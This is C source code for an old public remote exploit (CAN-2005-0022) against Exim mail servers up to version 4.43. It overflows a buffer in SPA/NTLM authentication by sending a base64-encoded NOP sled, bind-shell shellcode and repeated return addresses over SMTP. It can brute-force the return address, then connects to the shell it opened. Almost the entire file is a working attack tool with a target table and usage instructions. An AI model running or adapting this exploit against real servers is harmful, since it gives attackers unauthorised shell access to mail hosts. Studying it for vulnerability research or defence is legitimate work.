CAN-2005-0022
/* ecl-eximspa.c
* Yuri Gushin <yuri@eclipse.org.il>
*
* Howdy :)
* This is pretty straightforward, an exploit for the recently
* discovered vulnerability in Exim's (all versions prior to and
* including 4.43) SPA authentication code - spa_base64_to_bits()
* will overflow a fixed-size buffer since there's no decent
* boundary checks before it in auth_spa_server()
*
* Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
* blexim, manevski, elius, shrink, and everyone else who got left
* out :D
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>
#define SC_PORT 13370
#define NOP 0xfd
struct {
char *name;
int retaddr;
} targets[] = {
{ "Bruteforce", 0xbfffffff },
{ "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 },
};
char sc[] = // thank you metasploit, skape, vlad902
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
struct {
struct sockaddr_in host;
int target;
int offset;
u_short wait;
} options;
static int brutemode;
int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int
inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);
int main(int argc, char **argv)
{
int address, sock_smtp, sock_shell;
banner();
parse_options(argc, argv);
address = targets[options.target].retaddr - options.offset;
brutemode = 0;
bruteforce:
if (!brutemode)
{
printf("[*] Connecting to %s:%d... ",
inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
fflush(stdout);
}
sock_smtp = connect_port(ntohs(options.host.sin_port));
if (!brutemode)
{
if (!sock_smtp)
{
printf("failed.\n\n");
exit(-1);
}
printf("success.\n");
}
init_SPA(sock_smtp);
exploit(sock_smtp, address);
close(sock_smtp);
printf("[*] Target: %s - 0x%.8x\n",
targets[options.target].name, address);
printf("[*] Exploit sent, spawning a shell... ");
fflush(stdout);
sleep(1); // patience grasshopper
sock_shell = connect_port(SC_PORT);
if (!sock_shell && options.target)
{
printf("failed.\n\n");
exit(-1);
}
if (!sock_shell)
{
printf("failed.\n\n");
address -= 1000 - strlen(sc);
brutemode = 1;
if (options.wait) sleep(options.wait);
goto bruteforce;
}
printf("success!\n\nEnjoy your shell :)\n\n");
shell(sock_shell);
return 0;
}
int connect_port(u_short port)
{
int sock;
struct sockaddr_in host;
memcpy(&host, &options.host, sizeof(options.host));
host.sin_port = ntohs(port);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return 0;
if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
{
close(sock);
return 0;
}
return sock;
}
void init_SPA(int sock)
{
char buffer[1024];
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
buffer[255] = '\0';
if (!brutemode)
printf("[*] Server banner: %s", buffer);
write(sock, "EHLO ECL.PWNZ.J00\n", 18);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "NTLM")))
printf("[?] Server doesn't seem to support SPA, trying
anyway\n");
write(sock, "AUTH NTLM\n", 10);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "334")))
{
printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
exit(1);
}
if (!brutemode) printf("[*] SPA (NTLM) supported\n");
}
void exploit(int sock, int address)
{
char exp[2000], exp_base64[2668];
int *address_p;
int i;
memset(exp, NOP, 1000);
memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
address_p = (int *)&exp[1000];
for (i=0; i<1000; i+=4)
*(address_p++) = address;
spa_bits_to_base64(exp_base64, exp, sizeof(exp));
write(sock, exp_base64, sizeof(exp_base64));
write(sock, "\n", 1);
}
void shell(int sock)
{
int n;
fd_set fd;
char buff[1024];
write(sock,"uname -a;id\n",12);
while(1)
{
FD_SET(sock, &fd);
FD_SET(0, &fd);
select(sock+1, &fd, NULL, NULL, NULL);
if( FD_ISSET(sock, &fd) )
{
n = read(sock, buff, sizeof(buff));
if (n < 0) err(1, "remote read");
write(1, buff, n);
}
if ( FD_ISSET(0, &fd) )
{
n = read(0, buff, sizeof(buff));
if (n < 0) err(1, "local read");
write(sock, buff, n);
}
}
}
char base64digits[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int
inlen)
{
for (; inlen >= 3; inlen -= 3)
{
*out++ = base64digits[in[0] >> 2];
*out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
*out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
*out++ = base64digits[in[2] & 0x3f];
in += 3;
}
if (inlen > 0)
{
unsigned char fragment;
*out++ = base64digits[in[0] >> 2];
fragment = (in[0] << 4) & 0x30;
if (inlen > 1)
fragment |= in[1] >> 4;
*out++ = base64digits[fragment];
*out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
*out++ = '=';
}
*out = '\0';
}
void parse_options(int argc, char **argv)
{
int ch;
struct hostent *hn;
memset(&options, 0, sizeof(options));
options.host.sin_family = AF_INET;
options.host.sin_port = htons(25);
options.target = -1;
options.wait = 1;
while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
switch(ch)
{
case 'h':
if ( (hn = gethostbyname(optarg)) == NULL)
errx(-1, "Unresolvable address\n");
memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length);
break;
case 'p':
options.host.sin_port = htons((u_short)atoi(optarg));
break;
case 't':
if ((atoi(optarg) > (sizeof(targets)/8-1) || (atoi(optarg) < 0)))
errx(-1, "Bad target\n");
options.target = atoi(optarg);
break;
case 'o':
options.offset = atoi(optarg);
break;
case 'w':
options.wait = (u_short)atoi(optarg);
break;
case '?':
exit(1);
default:
usage(argv[0]);
}
if (!options.host.sin_addr.s_addr || (options.target == -1) )
usage(argv[0]);
}
void usage(char *cmd)
{
int i;
printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ]
[ -w wait ]\n\n"
"\t-h: remote host\n"
"\t-p: remote port\n"
"\t-t: target return address (see below)\n"
"\t-o: return address offset\n"
"\t-w: seconds to wait before bruteforce reconnecting\n\n",
cmd);
printf("Targets:\n");
for (i=0; i<(sizeof(targets)/8); i++)
printf("%d - %s (0x%.8x)\n", i, targets[i].name,
targets[i].retaddr);
printf("\n");
exit(1);
}
void banner(void)
{
printf("\t\tExim <= 4.43 SPA authentication exploit\n"
"\t\t Yuri Gushin <yuri@eclipse.org.il>\n"
"\t\t\t ECL Team\n\n\n");
}
securitydot.net - 2005-02-13
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